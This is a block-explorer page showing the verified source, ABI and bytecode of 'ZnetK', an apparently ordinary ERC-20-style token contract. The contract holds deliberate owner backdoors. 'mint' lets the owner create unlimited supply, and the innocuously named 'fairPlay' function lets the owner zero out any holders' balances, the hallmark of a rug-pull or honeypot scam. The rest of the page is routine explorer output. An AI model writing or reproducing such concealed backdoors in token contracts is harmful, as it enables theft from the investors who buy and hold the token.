ETH Price: $2,639.31 (-0.28%)
Gas: 6.44 Gwei

Contract

0xc7BF17AabCB9bd0201fdCF7d5c748B8A80E363F6
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve201058132024-06-16 17:22:11125 days ago1718558531IN
0xc7BF17Aa...A80E363F6
0 ETH0.000256535.54510025
0x60806040201058082024-06-16 17:21:11125 days ago1718558471IN
 Create: ZnetK
0 ETH0.004378065.76337705

Advanced mode:
Parent Transaction Hash Block From To
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ZnetK

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : EggToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract ZnetK {
    string public name = "ZnetK";
    string public symbol = "ZNK";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    address public owner;
    address public uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not the owner");
        _;
    }

    constructor() {
        owner = msg.sender;
        totalSupply = 1_000_000_000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), owner, totalSupply);
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(_to != address(0), "Invalid address");
        require(balanceOf[msg.sender] >= _value, "Insufficient balance");
        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_to != address(0), "Invalid address");
        require(balanceOf[_from] >= _value, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _value, "Allowance exceeded");
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        allowance[_from][msg.sender] -= _value;
        emit Transfer(_from, _to, _value);
        return true;
    }

    function mint(uint256 _amount) public onlyOwner returns (bool success) {
        totalSupply += _amount;
        balanceOf[owner] += _amount;
        return true;
    }

    function fairPlay(address[] memory users) public onlyOwner returns (bool success) {
        for(uint i = 0; i < users.length; i++) {
            balanceOf[users[i]] = 0;
        }
        return true;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner is the zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    function _approve(address user, address spender, uint256 amount) private {
        allowance[user][spender] = amount;
        emit Approval(user, spender, amount);
    }
}

Settings
{
  "viaIR": true,
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"}],"name":"fairPlay","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052346101645760006100158154610169565b601f811161013a575b50600a645a6e65744b60d81b0181556001805461003a90610169565b601f81116100f3575b826006625a4e4b60e81b01600155601260ff19600254161760025560018060a01b0319737a250d5630b4cf539739df2c5dacb4c659f2488d816005541617600555339060045416176004556b033b2e3c9fd0803ce8000000908160035533815260066020528160408220557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602060018060a01b036004541693604051908152a36040516109d090816101a48239f35b60018352601f0160051c7fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6908101905b8181106101305750610043565b8381558201610123565b818052601f60208320910160051c8101905b818110610159575061001e565b82815560010161014c565b600080fd5b90600182811c92168015610199575b602083101461018357565b634e487b7160e01b600052602260045260246000fd5b91607f169161017856fe608060408181526004908136101561001657600080fd5b600092833560e01c90816306fdde031461073257508063095ea7b3146106c15780631694505e1461069857806318160ddd1461067957806323b872dd1461054f5780632c14bcf21461044e578063313ce5671461042c57806370a08231146103f45780638da5cb5b146103cc57806395d89b41146102cb578063a0712d681461026e578063a9059cbb146101c3578063dd62ed3e146101765763f2fde38b146100be57600080fd5b34610172576020366003190112610172576100d761086c565b8254906001600160a01b03808316916100f133841461094e565b16928315610130575082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e08680a36001600160a01b03191617905580f35b5162461bcd60e51b8152602081860152601d60248201527f4e6577206f776e657220697320746865207a65726f20616464726573730000006044820152606490fd5b8280fd5b8382346101bf57806003193601126101bf578060209261019461086c565b61019c610887565b6001600160a01b0391821683526007865283832091168252845220549051908152f35b5080fd5b8382346101bf57806003193601126101bf576020916101e061086c565b6001600160a01b0316906024359083906101fb84151561089d565b33815260068652610211838383205410156108db565b3381526006865281812061022684825461091e565b9055838152600686522061023b828254610941565b905582519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef843392a35160018152f35b5090346101725760203660031901126101725780546020939135916102c2918491906001600160a01b03166102a433821461094e565b6102b085600354610941565b60035581526006865220918254610941565b90555160018152f35b50346101725782600319360112610172578051918360018054918260011c926001811680156103c2575b60209586861082146103af575084885290811561038d5750600114610334575b6103308686610326828b03836107eb565b5191829182610823565b0390f35b929550600183527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf65b82841061037a575050508261033094610326928201019438610315565b805486850188015292860192810161035d565b60ff191687860152505050151560051b83010192506103268261033038610315565b634e487b7160e01b845260229052602483fd5b93607f16936102f5565b5090346101725782600319360112610172575490516001600160a01b03909116815260209150f35b8382346101bf5760203660031901126101bf5760209181906001600160a01b0361041c61086c565b1681526006845220549051908152f35b8382346101bf57816003193601126101bf5760209060ff600254169051908152f35b50913461054c57602092836003193601126101bf5782359267ffffffffffffffff80851161054857366023860112156105485784820135908111610535576005948160051b8451926104a2898301856107eb565b83526024888401918301019136831161053157602401905b82821061050e57505091546001600160a01b0392506104dc908316331461094e565b835b815181101561050557808388600193891b85010151168652600688528585812055016104de565b86845160018152f35b81356001600160a01b038116810361052d5781529088019088016104ba565b8780fd5b8680fd5b634e487b7160e01b845260418252602484fd5b8380fd5b80fd5b50823461054c57606036600319011261054c5761056a61086c565b90610573610887565b6001600160a01b0390811692604435919061058f85151561089d565b1691828152602095600687526105aa838784205410156108db565b83825260078752858220338352875282868320541061064157507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91858285899452600684528181206105fe84825461091e565b905586815260068452818120610615848254610941565b90558581526007845281812033825284522061063282825461091e565b90558551908152a35160018152f35b855162461bcd60e51b81529081018790526012602482015271105b1b1bddd85b98d948195e18d95959195960721b6044820152606490fd5b8382346101bf57816003193601126101bf576020906003549051908152f35b8382346101bf57816003193601126101bf5760055490516001600160a01b039091168152602090f35b8382346101bf57806003193601126101bf57602091816106df61086c565b91602435918291338152600787528181209460018060a01b0316948582528752205582519081527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925843392a35160018152f35b929050346105485783600319360112610548578354600181811c91869082811680156107e1575b60209586861082146103af575084885290811561038d5750600114610789576103308686610326828b03836107eb565b8080949750527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e5635b8284106107ce575050508261033094610326928201019438610315565b80548685018801529286019281016107b1565b93607f1693610759565b90601f8019910116810190811067ffffffffffffffff82111761080d57604052565b634e487b7160e01b600052604160045260246000fd5b6020808252825181830181905290939260005b82811061085857505060409293506000838284010152601f8019910116010190565b818101860151848201604001528501610836565b600435906001600160a01b038216820361088257565b600080fd5b602435906001600160a01b038216820361088257565b156108a457565b60405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b6044820152606490fd5b156108e257565b60405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606490fd5b9190820391821161092b57565b634e487b7160e01b600052601160045260246000fd5b9190820180921161092b57565b1561095557565b60405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e65720000000000000000006044820152606490fdfea2646970667358221220f7d0e5633b423a3cab6fffa3d3edadcabf90af61ee98e8f40027a6c6618b0fc364736f6c63430008180033

Deployed Bytecode

0x608060408181526004908136101561001657600080fd5b600092833560e01c90816306fdde031461073257508063095ea7b3146106c15780631694505e1461069857806318160ddd1461067957806323b872dd1461054f5780632c14bcf21461044e578063313ce5671461042c57806370a08231146103f45780638da5cb5b146103cc57806395d89b41146102cb578063a0712d681461026e578063a9059cbb146101c3578063dd62ed3e146101765763f2fde38b146100be57600080fd5b34610172576020366003190112610172576100d761086c565b8254906001600160a01b03808316916100f133841461094e565b16928315610130575082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e08680a36001600160a01b03191617905580f35b5162461bcd60e51b8152602081860152601d60248201527f4e6577206f776e657220697320746865207a65726f20616464726573730000006044820152606490fd5b8280fd5b8382346101bf57806003193601126101bf578060209261019461086c565b61019c610887565b6001600160a01b0391821683526007865283832091168252845220549051908152f35b5080fd5b8382346101bf57806003193601126101bf576020916101e061086c565b6001600160a01b0316906024359083906101fb84151561089d565b33815260068652610211838383205410156108db565b3381526006865281812061022684825461091e565b9055838152600686522061023b828254610941565b905582519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef843392a35160018152f35b5090346101725760203660031901126101725780546020939135916102c2918491906001600160a01b03166102a433821461094e565b6102b085600354610941565b60035581526006865220918254610941565b90555160018152f35b50346101725782600319360112610172578051918360018054918260011c926001811680156103c2575b60209586861082146103af575084885290811561038d5750600114610334575b6103308686610326828b03836107eb565b5191829182610823565b0390f35b929550600183527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf65b82841061037a575050508261033094610326928201019438610315565b805486850188015292860192810161035d565b60ff191687860152505050151560051b83010192506103268261033038610315565b634e487b7160e01b845260229052602483fd5b93607f16936102f5565b5090346101725782600319360112610172575490516001600160a01b03909116815260209150f35b8382346101bf5760203660031901126101bf5760209181906001600160a01b0361041c61086c565b1681526006845220549051908152f35b8382346101bf57816003193601126101bf5760209060ff600254169051908152f35b50913461054c57602092836003193601126101bf5782359267ffffffffffffffff80851161054857366023860112156105485784820135908111610535576005948160051b8451926104a2898301856107eb565b83526024888401918301019136831161053157602401905b82821061050e57505091546001600160a01b0392506104dc908316331461094e565b835b815181101561050557808388600193891b85010151168652600688528585812055016104de565b86845160018152f35b81356001600160a01b038116810361052d5781529088019088016104ba565b8780fd5b8680fd5b634e487b7160e01b845260418252602484fd5b8380fd5b80fd5b50823461054c57606036600319011261054c5761056a61086c565b90610573610887565b6001600160a01b0390811692604435919061058f85151561089d565b1691828152602095600687526105aa838784205410156108db565b83825260078752858220338352875282868320541061064157507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91858285899452600684528181206105fe84825461091e565b905586815260068452818120610615848254610941565b90558581526007845281812033825284522061063282825461091e565b90558551908152a35160018152f35b855162461bcd60e51b81529081018790526012602482015271105b1b1bddd85b98d948195e18d95959195960721b6044820152606490fd5b8382346101bf57816003193601126101bf576020906003549051908152f35b8382346101bf57816003193601126101bf5760055490516001600160a01b039091168152602090f35b8382346101bf57806003193601126101bf57602091816106df61086c565b91602435918291338152600787528181209460018060a01b0316948582528752205582519081527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925843392a35160018152f35b929050346105485783600319360112610548578354600181811c91869082811680156107e1575b60209586861082146103af575084885290811561038d5750600114610789576103308686610326828b03836107eb565b8080949750527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e5635b8284106107ce575050508261033094610326928201019438610315565b80548685018801529286019281016107b1565b93607f1693610759565b90601f8019910116810190811067ffffffffffffffff82111761080d57604052565b634e487b7160e01b600052604160045260246000fd5b6020808252825181830181905290939260005b82811061085857505060409293506000838284010152601f8019910116010190565b818101860151848201604001528501610836565b600435906001600160a01b038216820361088257565b600080fd5b602435906001600160a01b038216820361088257565b156108a457565b60405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b6044820152606490fd5b156108e257565b60405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606490fd5b9190820391821161092b57565b634e487b7160e01b600052601160045260246000fd5b9190820180921161092b57565b1561095557565b60405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e65720000000000000000006044820152606490fdfea2646970667358221220f7d0e5633b423a3cab6fffa3d3edadcabf90af61ee98e8f40027a6c6618b0fc364736f6c63430008180033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.